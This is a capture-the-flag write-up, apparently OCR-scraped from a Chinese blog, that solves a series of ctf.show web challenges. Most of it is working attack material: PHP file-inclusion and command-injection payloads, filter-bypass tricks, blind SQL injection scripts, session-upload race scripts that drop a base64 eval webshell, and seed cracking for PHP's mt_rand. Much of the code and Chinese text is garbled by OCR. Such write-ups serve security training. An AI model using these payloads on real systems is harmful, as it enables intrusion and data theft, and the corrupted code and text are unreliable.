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if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match('/php/i', $file)){
die('error');
telse{
include($file);
}

telse{

highlight_ file(___FILE_ );
}

?>

HEAS LA EMAT


https://blog.csdn.net/qq_45089570
https://blog.csdn.net/qq_45089570/category_9741560.html
https://so.csdn.net/so/search/s.do?q=php&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/qq_45089570/article/details/109015150
https://blog.csdn.net/qq_45089570/category_9741560.html

import requests
import threading
import sys

url="http://9c79b02a-820a-4299-a63a-5d47251a2108.chall.ctf.show/"'
r=requests.session()
headers={
"Cookie":"PHPSESSID=mb'
)
def POST():
files={
"upload":"'"' #_LAETBRH X AF
)
data={
"PHP_SESSION_UPLOAD_PROGRESS": '<?php echo "moonback";file put_contents("/tmp/mb", base64_decode("PD9waHA
gQGV2YWwoIF9QTINUWZFAKTs="));?>" #BEHE S, readfile B BEERmH NS
b

r.post(url,files=files, headers=headers,data=data)

def READ():
# event.wait()
while True:
POST()
t=r.get("http://9c79b02a-820a-4299-a63a-5d47251a2108.chall.ctf.show/?file=/tmp/sess_mb")
if "moonback' in t.text:
print('[+] success')
break

for i in range(590):
threading. Thread(target=READ,args=()).start()

HEREHE:

/etc/nginx/nginx.conf
/var/log/nginx/access.log
/var/log/nginx/error.log

EREHEME X HER og XM E, HFEEuser-agentH It N —AJIEHLAT
web8



Filter: Showing all items

U U

U U

U U

UJ UJ
3 U U
4 or 200 ] O 5396
5 | 200 J J 596
6 from 200 ] ] 596
7 sleep 200 U U 596
8 benchmark 200 O O 596
9 %20 200 g g 596
10 order 200 J J 596
[Requesﬂ Response

i€ T union,and’

TR LA /*%/ , ¥ if H case when 1=1 then 1 else 0 end, TIEESH from 1 for 1 EHEL

payload:

import requests

s=requests.session()
url="http://f145c667-993c-4ceb6-bcd6-04ce626648cl.chall.ctf.show/index.php"
table=""

for i in range(1,45):

print(i)
for j in range(31,128):
#HEFZS flag
#payload = "ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/whe
re/**/table_schema=database())from/**/%s/**/for/**/1) )=%s#"%(str(1),str(j))
HEFERE flag
#payload = "ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/w
here/**/table_name=0x666C6167)from/**/%s/**/for/**/1) )=%s#"%(str(i),str(j))
#BLHf Lag

payload = "ascii(substr((select/**/flag/**/from/**/flag)from/**/%s/**/for/**/1))=ks#"%(str(1), str(j))
ra = s.get(url=url + '?id=0/**/or/**/' + payload).text
if 'I asked nothing' in ra:

table += chr(j)

print(table)
break

payload2:



import requests

url="http://9f999441-8cb2-4663-9f55-195bbfafe615.chall.ctf.show/index.php?id="
flag=""
for i in range(1,50):
fl=flag
top=127
low=33
while low<=top:
mid=(top+low)//2
pl="(case/**/when/**/(ascii(substr((select/**/flag/**/from/**/web8.flag)/**/from/**/{}/**/for/**/1))>{})
/**/then/**/1/**/else/**/0/**/end)" . format (str(i),str(mid))
p2="(case/**/when/**/(ascii(substr((select/**/flag/**/from/**/web8.flag)/**/from/**/{}/**/for/**/1))={})
/**/then/**/1/**/else/**/0/**/end)" .format(str(i),str(mid))
try:
rl=requests.get(url+p2)
print(i,mid)
if 'pitch-and-toss,' in ril.text:
flag+=chr(mid)
print(flag)
break
r=requests.get(url+pl)
if 'pitch-and-toss,' in r.text:
low=mid+1
else:
top=mid-1
except Exception as e:
pass
if flag==f1:
break

web9

14 /robots.txt & ZF| index.phps , Y5EHG:

<?php
$flag="";
$password=$_POST/[ 'password'];
if(strlen($password)>10){
die("password error");
}
$sql="select * from user where username ='admin' and password ='".md5($password,true).""'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
echo "EhERII<br>";
echo $flag;
}
}

?>

(1] win

"select * from ~admin® where password='".md5($pass,true).

md5()& B 6 H NS

SH—REMERTIE;



SH RN truely, Tl R 167/ i HlE
ik Mfalse, s th 327 FF o sk %

B RIRRE I AR BEN, AT R WA SsqiE AR ? WRIE]— 745 B MDS N 515 21 19 IR 4 — ik i X AESQL A HF A 2K
L “or ook 7 At 7T LA Geid T

# ffifdyop R3flagiihR T
payload:

password=ffifdyop

webA |7

web1

AF VL Sag

web11

R B IERRE R, ME83 T tidx

W%k http://doma.pucha.net/

ctfshow.com Txt |~ EER3)
& ctfshow.comBItxtidFR({(UHESE):
host | ctfshow.com
class IN
ttl 600
type | TXT

txt | flag{just seesee}

entries  Array

web21

SBHE T, 8, RIMEE T —/Ebase64 N, ¥, burpsuited] LAE LR



= - | |

be customized in different ways.

Payload set: {1 |v] Payload count: 3

Payload type: {Simple list |v] Request count: 3

) Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Paste 111111
pr— dsafasdfasdf
08¢ | sharke3

Remove

IEs

Clear

y

Add

i

P

Add from st ... |

) Payload Processing

You can define rules to perform various processing tasks on each payload before it is used.

{ Add ] Enabled | Rule
Edit W Add Prefix; admin:
Vv Base64-encode
Remove »

el




<?php

/*

# -*- coding: utf-8 -*-

# @Author: hilxa

# @Date: 2020-09-03 11:43:51

# @Last Modified by: hixa

# @Last Modified time: 2020-09-63 11:56:11
# @email: hlxa@ctfer.com

# @link: https://ctfer.com

*/
error_reporting(0);

include('flag.php');
if(isset($_GET[ 'token'])){
$token = md5($_GET[ 'token']);
if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)==
=intval(substr($token, 31,1))){
echo $flag;

}
telse{

highlight_file(__ FILE_ );

B, WTLARNE, 267, 150, FISMR—HH, HEHAKT, HE32683, exp:

import hashlib
for i in range(1,100000000000) :
strl = hashlib.md5(str(i).encode()).hexdigest()
if stri[1]==strl[14] and strl[14]==strl[17] and strl[31].isdigit() and strl[31]=='3":
print(i,strl)
break

#422 {85454e8279bel180185cac7d243c5eb3

web24



<?php

/*

# -*- coding: utf-8 -*-

# @Author: hilxa

# @Date: 2020-09-03 13:26:39

# @Last Modified by: hixa

# @Last Modified time: 2020-09-63 13:53:31
# @email: hlxa@ctfer.com

# @link: https://ctfer.com

*/
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
$r = $ GET['r'];
mt_srand(372619038);
if(intval($r)===intval(mt_rand())){

echo $flag;

}
telse{

highlight_file(__ FILE_ );
echo system('cat /proc/version');

}

?>

PhBENLEL, WA R php7

<?php
mt_srand(372619038);
echo mt_rand();

// 1155388967

web25

https://www.openwall.com/php_mt_seed/

https://www.cnblogs.com/zaqzzz/p/9997855.html

“*mt_scrand(seed) XM RPN E R, RETH Kseedbh T, REFMTHETE, Emt_rand()4E BREEHL
.

FEZ A B SR LN & ER i cookie, B 5 IMEAISENA T —MAA, LITHREmME srand()FH 7
mt_rand ()BEHLE K]

XEEHOEE— T A48 —RKImt_rand()+mt_rand() A2 % — X KIBENLEAEm? ?

B ER A BENL BT BA R — AN et A e (SEFR EARE B R KSR ERERE — KRN —HK, PR
AT — W28 Blmt_rand()+mt_rand()

fE A Ui R ERAVG BT a ] AT IRE B R EKNE

fERE: ENRENLBOR I R T



AL 2r=0 B RIPEHLE . X BERF KR 183607393 F— KA —FE(E HfflaglE 7E & 1L)

SRJG T8 php_mt_seed4.0 FATFElinux T TH A F gecbAT 4w

gcc php_mt_seed.c -o php_mt_seed

2B IBATIARIMFENLEL /php_mt_seed 183607393

BRAMRHHEE, BREES Kseedf T, REMTH TG, FEmt_rand()4: mFEHLEL

FEZ 1T B TR LA R ER ii#cookie, i a MBS RN AT —MAA, £[THREmMt _srand()

web26

1

W

J Results ‘ Target | Positions | Payloads | Options |

_‘ Filter: Showing all items

Request  |Payload | Status |Error | Timeout |Length v Comment
200 U U 312
522 7758521 200 U U 312
1 7758000 200 & U 256
2 7758001 200 ] O 256
3 7758002 200 & U 256
4 7758003 200 ] O 256
5 7758004 200 & U 256
6 7758005 200 O O 256
7 7758006 200 & U 256
8 7758007 200 O O 256
9 7758008 200 & U 256
10 7758009 200 O O 256

"L

[roes Rospose |

J RawI Headers | Hex | Render IJSON Beautifier

Server: nginx/1.14.0 (Ubuntu)

Date: Tue, 0& Oct 2020 08:11:43 GMT
Content-Type: text/html; charset=UTF-3§
Connection: close

X-Powered-By: PHP/7.3.11
Content-Length: 119

{"success":true, "msg": "\u6570\ub36e\u5e93\u8fde\ub3a5\u6210\ub29£f","flag":"flag{9381c94a-07da-48dl-aldb-74a

06c14571e} "}

web28



import requests
from threading import Thread
import sys
url = "http://0e24c613-7424-4b0d-b534-416143e2f97e.chall.ctf.show"
def scan(i,j):
try:
r= requests.get(url + "/{}/{}/".format(i,j))
print(i,j)
if "flag{" in r.text:
print(r.text)
sys.exit()
except Exception as e:
pass

for i in range(1,101):
for j in range(10,25):
scan(i,j)

web29
38 T flag
payload:

?c=system('cat “1s™');
?c=system('cat *');

web30

<?php

/*

# -*- coding: utf-8 -*-

# @Author: hlxa

# @Date: 2020-09-04 00:12:34

# @Last Modified by: hixa

# @Last Modified time: 2020-09-04 00:42:26
# @email: hlxa@ctfer.com

# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);

telse{
highlight file(__ FILE_ );

payload:

Pc=$a='sys'.'tem';%a('cat *'); #PEHLLTsystemiRE



web31

<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |[\'/i", $c)){
eval($c);

telse{
highlight_file(__FILE_ );

payload:

?c=$a=str_replace("a","","sysatem");$a("head%09-n%09100%09*" ) ;

web32

<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $ GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\"|\ |echo|\;|\(/i", $c)){
eval($c);

telse{
highlight_file(___FILE_ );

payload:

?c=include"$_GET[1]"?>&1=php://filter/convert.base64-encode/resource=flag.php

web33

<?php
error_reporting(0);
if(isset($ _GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\"|\ |echo|\;|\(|\"/i", $c)){
eval($c);

telse{
highlight file(__ FILE_ );

payload:

?c=include/**/$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web34



<?php
error_reporting(0);
if(isset($_GET['c'1)){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |[\'|\ [echo|\;|\(|\:]\"/i", $c)){
eval($c);

}else{
highlight_file(__FILE_ );

payload:

?c=include/**/$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web35

<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|[\.| |\"[\ [echo|\;|\(|\:|\"|\<|\=/1i", $c)){
eval($c);

telse{
highlight_file(__FILE_ );

payload:

?c=include/**/$ GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web36

<?php

/*

# -*- coding: utf-8 -*-

# @Author: hlxa

# @Date: 2020-09-04 00:12:34

# @Last Modified by: hlxa

# @Last Modified time: 2020-09-04 04:21:16
# @email: hlxa@ctfer.com

# @link: https://ctfer.com

*/

error_reporting(9);
if(isset($_GET['c']1)){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\"|\" |echo|\;|\(|\:|\"|\<|\=]|\/]|[0-9]/i", $c)){
eval($c);

telse{
highlight_file(_ FILE_ );



payload:

?c=include$ GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

web37

<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_ GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;

telse{
highlight_file(__ FILE_ );

payload:
c=php://input

post <?php system('cat *');

import requests
import threading

url="http://b440e730-82ed-40ce-a359-947492fc8c6d.chall.ctf.show/"'
r=requests.session()
headers={

"Cookie":'PHPSESSID=network"

}
def POST():
files={
"upload":"'"' #_EAETRRH T XAF
}
data={
"PHP_SESSION_UPLOAD_PROGRESS":'<?php echo "network";file put_contents("/tmp/network", base64 decode("PD9
waHAgQGV2YWwoIFIQTINUWZFdKTs="));?>" #EEIEEE, readfile B ERH NS
}
r.post(url,files=files, 6 headers=headers,data=data)
def READ():

# event.wait()
while True:
POST()
t=r.get("http://b440e730-82ed-40ce-a359-947492fc8c6d.chall.ctf.show/?c=/tmp/sess_network")
if 'network' in t.text:
print('[+] success")
break

for i in range(590):
threading.Thread(target=READ,args=()).start()

web38



<?php

/*

# -*- coding: utf-8 -*-

# @Author: hilxa

# @Date: 2020-09-04 00:12:34

# @Last Modified by: hixa

# @Last Modified time: 2020-09-04 05:23:36
# @email: hlxa@ctfer.com

# @link: https://ctfer.com

*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;

telse{
highlight_ file(__ FILE_ );

payload:

?c=data://text/plain;base64,PD9waHAgc31zdGVtKCdjYXQgKicpOw==

web39

<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $ GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");

telse{
highlight file(__ FILE_ );

Al ] LA data D i

?c=data://text/plain,<?php system('cat *');?>
?c=data:text/plain,<?php system('cat *"')?>

web40



<?php
if(isset($_GET['c'])){
$c = $_GET['c'];
1F(1preg_match("/[0-97 [\~ [\" N@N\#I\\$ [\ VA N&IVFIN (1D V- V=V VLNV VIV NN NS VN2 I
\WV/i", $0)){
eval($c);

telse{
highlight_file(__ FILE_ );

XA banf P XHFES. - o - phpESEEE: https://www.m00nback.xyz/2019/11/12/php-nopara-rce
payload:

?c=readfile(array_rand(array_flip(scandir(current(localeconv())))));

web41
web42

<?php
if(isset($_GET['c'])){

$c=$% GET['c'];

system($c." >/dev/null 2>&1");
telse{

highlight_file(__FILE_ );

HERBAT

?c=cat * %23
?c=cat flag.php%0A

web43

<?php

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){

system($c." >/dev/null 2>&1");

}

telse{
highlight_file(_ FILE_ );

payload:

?c=head -n 100 * %23
?c=ca\t flag.php%oA

web44



<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
¥
Yelse{
highlight_file(__ FILE_ );

payload:

?c=ca\t "1s %23
?c=head -n 100 * %23

web45

<?php
if(isset($_GET['c'])){
$c=%_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
¥
telse{
highlight_file(__ FILE_ );

payload:

?c=head%09-n%09100%09*%09%23

web46

<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| [[@-9][\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
telseq{
highlight file(__ FILE_ );

payload:

?c=ca\t%09%601s%60%09%23

web47



<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| [[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
¥
telse{
highlight_file(__ FILE_ );

?c=ca\t%09%601s%60%09%23

web48

<?php
if(isset($_GET['c'])){
$c=%_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]1|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\ /i", $c))

{
system($c." >/dev/null 2>&1");
}
telse{
highlight_file(__FILE_ );
}
payload:

web49

<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[@-9]|\\$|\*|more|less|head|sort|tail|sed]|cut]|awk|strings|od|curl|\" |\%/i", $
o{
system($c." >/dev/null 2>&1");

}
telseq{

highlight file(__ FILE_ );

payload:

web50



<?php
if(isset($_GET['c'])){

$c=%_GET['c'];

if(!preg_match("/\;|cat|flag| |[©-9]1|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od]|curl|\" |\%]|\x09|
\x26/i", $c)){

system($c." >/dev/null 2>&1");

¥
telse{

highlight_file(__ FILE_ );

payload:

?c=ca' "t<>fl' "ag.php%0a%23

web51

<?php
if(isset($_GET['c'])){

$c=%_GET['c'];

if(!preg_match("/\;|cat|flag| |[[0-9]1|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\" [\%]|\
x09|\x26/i", $c)){

system($c." >/dev/null 2>&1");

¥
telse{

highlight_file(__FILE_ );

payload:

?c=ca' "t<>fl' "ag.php%0a%23

web52

<?php
if(isset($_GET['c'])){

$c=$_GET['c'];

if(!preg_match("/\;|cat|flag| |[@-9]|\*|more|less|head|sort|tail|sed|cut]|tac|awk|strings|od|curl|\" |\%|\x09]|
\x26 | \>|\</1i", $c)){

system($c." >/dev/null 2>&1");

¥
telseq{

highlight file(__ FILE_ );

payload:

?c=ca’ "t${IFS}/fl" 'aghoa%23

web53



<?php
if(isset($_GET['c'])){
$c=$ GET['c'];

if(!preg_match("/\;|cat|flag| |[@-9]]|\*|more|wget|less|head|sort|tail|sed|cut]|tac|awk|strings|od|curl|\" |\%]|

\x09 [ \x26|\>|\</i", $c)){
echo(%c);
$d = system($c);
echo "<br>".$d;

telse{
echo 'no';
}
telse{
highlight_file(__FILE_ );
}
payload:

?c=ca' "t${IFS}fl' 'ag.php%0a%23

web54

<?php
if(isset($_GET['c'1)){
$c=$ GET['c'];

if(!preg_match("/\;|.*c.*a.¥t.*|.*f. *1.*a. *g.*|

[[0-9]|\*|.*m.*0.*r.*e.*| . *w.*g. *e. ¥t . *| . *1.*e.*s . *s . *| . *h. *

e.*a.*d.*| . *s k0. *r ¥t *| kL. kg ki kL ¥ | ks ke kdL K| Lo UL e K| LREL AL KoL K| L kAL twL KL K| LK kL ke ki kn kgL ks ¥

Ko kd E| e RuLRr KLU K| cEn KLU F | LR s ke R p L E ] L Re Lk m R\ | \% ] \x@9 | \x26 | \> | \</1", $c)){

system($c);

}
telse{

highlight_file(__FILE_ );

BREfFST, payload:

?c=/bin/ca?${IFS}f???.php%0a%23

web55

<?php
if(isset($_GET['c'])){
$c=$ GET['c'];

if(!preg_match("/\;|[a-z]|\ | \%|\x@9|\x26]|\>|\</i", $c)){

system($c);
}
telseq{
highlight file(__ FILE_ );

exp:



import requests
import threading

url="http://0a73a501-052c-43c7-b811-01cd759d416a.chall.ctf.show/"'

def post():
files={
"upload':'#!/bin/sh\necho 1433223\ncat flag.php'
)
r=requests.post(url,files=files)
def req():

r=requests.get(urll)
if '1433223"' in r.text:
print(r.text)

for i in range(50):
threading.Thread(target=post,args=()).start()
threading.Thread(target=req,args=()).start()

web56

<?php
if(isset($_GET['c'])){
$c=$%_GET['c'];
if(!preg_match("/\;|[a-z]1[[@-9] [\\$INCINCIN IN"I\T [\%]\x09|\x26|\>|\</i", $c)){
system($c);
}
telse{
highlight_file(__FILE_ );

exp:

import requests
import threading

url="http://a01f036c-e70d-4fa8-8a4b-5329064ab650.chall.ctf.show/"’

def post():
files={
'upload’: '#!/bin/sh\necho 1433223\ncat flag.php"'
}
r=requests.post(url,files=files)
def req():

r=requests.get(urll)
if '1433223' in r.text:
print(r.text)

for i in range(590):

threading.Thread(target=post,args=()).start()
threading.Thread(target=req,args=()).start()
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//flag in 36.php
if(isset( ['c" DA
= ['c'];
if(!preg_match("/\;|[a-z]1[0-91I\" [NI\#[\"[\"[\" [\%]\x@9|\x26 | \x@a | \> | \<|\. [\, [\2[\*[\-[\=]\[/1i", $c)){
system("cat ".$c.".php");
}
telse{
highlight file(__ FILE_ );
}

H T8 FE fpayloadEbash AT B, 7EsystemE AT

$_+9_1

1E#ifpayload:

$C~$((S((~$(ONB~(INE(~$C())NE(~$(()))IS(~$(())NF((~$( ()N~ ()N E(~$(())))E((~$(())))$((~$(
OIN$~$COINS~$(OINFC(~(O)INE(~$(())NE(~$(()))IS((~$(())NS((~$(())NF((~$( ()N F((~$(()))$((~$(()
1)$(~$(0))))(~$(0)NEC(~$(O)NE(~3(()NE(~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))N$((~$(()))
$((~$C0)NF(~$(OINF(~()INE(~$(())NE(~$(())))S((~$(())))$((~$(())))))))

IGRN A
$(0)) ==>0
$((~$(())))  ==> -1

$C(SC(~$(MNF(~$(()))))) ==> -2
$((~-37)) ==> 36
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/] RNIESEHG ?

if(isset( ["c"I)){
= ['c'];
eval($c);
telse{
highlight file(__FILE_ );
}
payload:

c=readfile('flag.php');
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EL Uy
A

HERE ST BB, TR H
code= "HHF HHEHA FK HEAN HPFAN EEX HHATE AHES HEKXK HET HBAH HBEFE HFPK".decode('utf-8")
split = ""
def encode(s):
S = s.decode('utf-8")
buff = ""
if len(s) > 0:
for ¢ in s:
strl = str(ord(c))
for st in stri:
buff += code[int(st)]
buff += split
return buff

def decode(s):
s = s.decode( 'utf-8")
buff = "
temp = "
if len(s) > O:
stringlist = s.split(split)
for sl in stringlist:
for s2 in si:
index = code.find(s2)
if index>-1:
temp += str(index)
buff += chr(int(temp))
temp = "'
return buff

$(0)) ==>0

$((~3(()))) == -1
$C(SC(~$(MNF(~$(()))))) ==> -2
$((~-37)) ==> 36

web58

<?php

/] RNIESEHG ?
if(isset($_POST['c'])){
$c= ¢ POST['c'];
eval($c);
}else{
highlight_file(_ FILE_ );
}

payload:

c=readfile('flag.php');
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BB _E 5

HES HEF FER AEAN BHPAN FFE BBE HES BEK BET Hbd BE¥E BPR
LR

JEA:

HERE ST BB, TR H
code= "HHF HHEHA FEK HEAN HPFAN EEX AHATE AHES BEK AET HBAH HBEFE HFK".decode('utf-8")
split = ""
def encode(s):
S = s.decode('utf-8")
buff = "
if len(s) > 0:
for c in s:
strl = str(ord(c))
for st in stri:
buff += code[int(st)]
buff += split
return buff

def decode(s):
s = s.decode( 'utf-8")
buff = "
temp = "
if len(s) > 0:
stringlist = s.split(split)
for sl in stringlist:
for s2 in si:
index = code.find(s2)
if index>-1:
temp += str(index)
buff += chr(int(temp))
temp = "'
return buff
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